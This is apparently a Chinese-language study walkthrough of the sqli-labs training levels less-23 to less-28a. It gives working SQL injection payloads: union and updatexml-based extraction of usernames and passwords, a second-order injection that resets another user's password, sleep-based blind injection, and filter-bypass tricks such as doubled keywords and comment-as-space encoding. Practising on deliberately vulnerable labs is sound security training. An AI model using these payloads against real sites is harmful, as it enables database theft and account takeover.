less-23
可以看得出來單引號就是閉合,但依然上圖最兩個payload都出錯,那有可能是過濾掉了註釋符號。
既然過濾掉註釋符號,那就要多一個單引號來閉合,也需要多一些or來確保注入語句可以順利執行,跟less-18的
'OR updatexml(1,concat("!",database()),2) OR'
有異曲同工之妙。
可以再仔細看看原始碼:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
如果把註釋符號過濾,那注入1' union select null,database(),3 --+後會變成
$sql="SELECT * FROM users WHERE id='1' union select null,database(),3 ' LIMIT 0,1";
所以會出錯。
注意!,如果注入:
1' union select null,database(),3 or '
還是只會顯示admin跟admin,必須把1調成不在資料庫裡的數字(如-1),才有機會讓網頁顯示我們要的資訊。所以注入:
-1' union select null,database(),3 or '
看看上圖灰底字,就是database()有執行的證明。之後把上圖藍字部分換成慣用payload即可。
查security這個DB裡有哪些table:
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
查security這個DB裡的users這個table有哪些column:
union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
查詢users這個table裡的username跟password:
union select null,group_concat(username),group_concat(password) FROM users
但要注意上一句如果直接輸入會出問題:
可以在payload創造一個恆真條件閉合:
union select null,group_concat(username),group_concat(password) FROM users WHERE 1=1
less-24
登入後看到以下頁面:
直覺先用payload狂打,看能不能繞,
但結果出來如下圖,通通不行。
不過以admin登入以後可以更改密碼。
所以這一題是二次注入。先註冊一個有問題的帳號,以閉合且註釋掉後面語句。
比如註冊admin1'#,可以看見目前資料庫如下圖,admin1'#的密碼是123456,而admin1的密碼是admin1:
D:\phpStudy_2016>mysql -u root -p
Enter password: ****
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 149
Server version: 5.5.47 MySQL Community Server (GPL)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| mysql |
| performance_schema |
| security |
| test |
+--------------------+
6 rows in set (0.00 sec)
mysql> use security;
Database changed
mysql> select username,password FROM users;
+----------+------------+
| username | password |
+----------+------------+
| Dumb | Dumb |
| Angelina | I-kill-you |
| Dummy | p@ssword |
| secure | crappy |
| stupid | stupidity |
| superman | genious |
| batman | mob!le |
| admin | admin |
| admin1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| dhakkan | dumbo |
| admin4 | admin4 |
| admin1'# | 123456 |
+----------+------------+
14 rows in set (0.00 sec)
(具體資料庫操作可以參考以下網頁:
https://tsuozoe.pixnet.net/blog/post/21283890
)
接下來把我們註冊的admin1'#的密碼修改成7890:
再次查詢即可得知admin1的密碼被改了,如下圖反白。
問題出在pass_change.php的這一行:
$sql = "UPDATE users SET PASSWORD ='$pass' where username ='$username' and password='$curr_pass' ";
當我們註冊了admin1'#時,語句變為
$sql = "UPDATE users SET PASSWORD ='$pass' where username ='admin1'#' and password='$curr_pass' ";
這時admin1'#的#把後面的語句通通被註解掉,而admin1'#的單引號發揮了閉合的效果,所以實際上語句變成下面這樣,改到的是admin1。
$sql = "UPDATE users SET PASSWORD ='$pass' where username ='admin1'
less-25
如果報錯可回顯,那麼直接在1的後面加一個反斜線即可知道原本語句是如何閉合的。可以看到上圖紅圈,反斜線後面是單引號,代表是用單引號閉合。
另外也要注意兩點:
第一、id後面要=-1或是其他資料庫沒有的數字,才會正確讀出。
第二、注意到報錯訊息,可以發現原始的sql語句包含LIMIT...,這代表注入語句後面用--+無法註釋掉,要用 or '
才有用。
第三、可以看看這網頁的提示如下圖,可以知道會對注入語句的or跟and做過濾。or可以用||
或是oORr,and可以用&&
或AandND來躲避過濾(如果只過濾一次英文的話)。
所以之前習慣用的payload要做處理。
上圖反藍就是可以讓我們塞payload的地方,但在執行前還要把它編碼,可以用chrome 的hackbar來幫忙:
把後面部分反藍,先點encoding再點url encode,即可編碼。反灰是結果,反藍就是被編碼過的現有資料庫查詢語句。
那再來看看之前常用的payload,它是可以塞到上上上張圖的反藍處:
union select null,null,group_concat(TABLE_NAME) from infoORrmation_schema.tables where TABLE_SCHEMA = 'security'
union select null,null,group_concat(COLUMN_NAME) FROM infoORrmation_schema.columns WHERE TABLE_SCHEMA = 'security' AandND TABLE_NAME = 'users'
union select null,group_concat(username),group_concat(passwoORrd) FROM users WHERE '1'='1'
但是要注意,因為網頁會把or濾掉,所以要把原本含有or的字多加一個or,像是information_schema改成infoORrmation_schema,password改成passwoORrd。
less-26
網頁直接給提示,不允許空白跟註釋。先測試閉合,透過單引號(下圖反灰)跟錯誤訊息(下圖反藍),可以得知是透過單引號閉合。
但如果禁止空白,那麼原本的那些語句:
# 查security這個DB裡有哪些table:
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
# 查security這個DB裡的users這個table有哪些column:
union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
# 查詢users這個table裡的username跟password:
union select null,group_concat(username),group_concat(password) FROM users
一定都會遇到空白,而且環境可能還不認空白的替代品--%a0
。幸好這網頁可以回顯錯誤,可以使用updatexml,因為此函數可以用小括號和運算符來代替空白,。另外,在不使用註釋的前提下,想閉合後面語句,就用||'
。比如說原始碼裡是'id',那麼注入語句應該是'||查詢語句||'
。
updatexml(1,concat('$',(database())),0)
上圖的反藍處可以取代成查詢語句,注意以下查詢語句為了躲避or的過濾,or會寫成oorr。
security這個DB有哪一些table(表名):
updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)
users這個table有哪一些column(字段名):
updatexml(1,concat('$',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')%26%26(table_name='users'))),0)
爆出column內容:
updatexml(1,concat('$',(select(concat('$',id,'$',username,'$',passwoorrd))from(users)where(username)='admin')),0)
注意因没有空格不能使用limit 0,1,而报错有字符限制也不能使用group_concat(),所以只能使用where条件来控制偏移量。
less-26a
如何判斷閉合?
這一次沒有錯誤回顯,但可以直接用union select回顯。如果使用windows的phpstudy,根本無法用%a0來繞過空格,也可以使用盲注,延時盲注的語法不須空格,這裡使用盲注。
資料庫名稱長度: (注意注入語句兩邊是and)
1')anandd(if((length(database())=8),sleep(5),1))anandd('1
如果猜對的話load會需要5秒,畫面呈現會是如下:
代換上圖反灰即可。
less-27
閉合測試:
首先用
https://github.com/TheKingOfDuck/fuzzDicts/blob/master/sqlDict/sql.txt
這個字典檔進行注入點fuzzing,結果如下:
從上圖來看,這題一樣會過濾空格,也會過濾註釋,而在windows的phpstudy底下,/*%0a*/
可以代表空白。
從上圖可知這題應該是單引號閉合。
從上圖可以看出非')
閉合
(參考less-1,但有改)
如果直接把less-1的注入語句
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
的union select給大小寫混淆,以及將空格以/*%0a*/
替代的話,結果會怪怪的,注入語句應該要用
UnIoN SeLeCt 2,(SeLeCt group_concat(table_name) from information_schema.tables where table_schema='security'),4
才會正常。
還有,如果是等等會提到的報錯注入,那麼可以用
1' || 注入語句 || '1
這樣的方式來注入。但如果是現在提的直接回顯方式,這樣的作法會出錯(為何?),必須改成
0' 注入語句 || '1
而且還要是0或者是很大的正數,才會正確顯示注入語句的內容。以
UnIoN SeLeCt 2,(SeLeCt group_concat(table_name) from information_schema.tables where table_schema='security'),4
這個語句為例。這是顯示security這個DB有哪些table,但如果0改成-1,只會顯示:
如果是其他負數,則會顯示帳密。
顯示欄位(column名稱)
UnIoN SeLeCt 1,(SeLeCt group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'),2
上圖反灰處即為塞payload的地方。
顯示帳密:
UnIoN SeLeCt 3,(SeLeCt group_concat(username) FROM users),2
UnIoN SeLeCt 3,(SeLeCt group_concat(password) FROM users),2
另外,這一題的報錯會回顯,所以用updatexml試試看:
爆出security裡的table:
updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)
變形:(無空格)
updatexml(1,concat("!",(SeLeCT(group_concat(table_name))FROM(information_schema.tables)WHERE (table_schema='security'))),2)
爆出users table裡的column
updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)
變形:(無空格)
updatexml(1,concat("!",(SeLeCT(group_concat(column_name))FROM(information_schema.columns)WHERE((table_schema='security')AND(table_name='users')))),2)
爆出column內容
updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users)),1)
變形:(無空格)
updatexml(1,concat(0x7e,(SeLeCT(group_concat(username,':',password))from(users)),1)
less-27a
跟less-27相同,只是是用"
閉合,給出其中一個payload作參考:
0"UnIoN/*%0a*/SeLeCt/*%0a*/3,(database()),2||"1
上圖藍字更換成其他查詢語句。
less-28
閉合:
1' and '1' = '1成立(如下圖),這表示原始碼內查詢語句有兩種可能:
select * from table where id = '1' and '1' = '1';
select * from table where id = ('1' and '1' = '1');
所以再進一步的試試,是不是第二種:
1') and ('1') = ('1
所以閉合就是')。
接下來就是測試以往用過的注入語句:
可以從上圖反藍跟反灰看的出來這一次是union跟select一起出現就會觸發過濾,所以用雙寫繞過即可。雙寫寫法如下:
網頁會過濾掉上圖反藍,所以還剩下一對union跟select。
100')UnIon/*%0a*/sEunion/*%0a*/selectlect/*%0a*/3,(database()),2 || ('1
替換掉上圖反藍即可更換查詢語句。
less-28a
其實跟less-28差不多,閉合是一樣的,過濾也差不多,可以用雙寫繞過。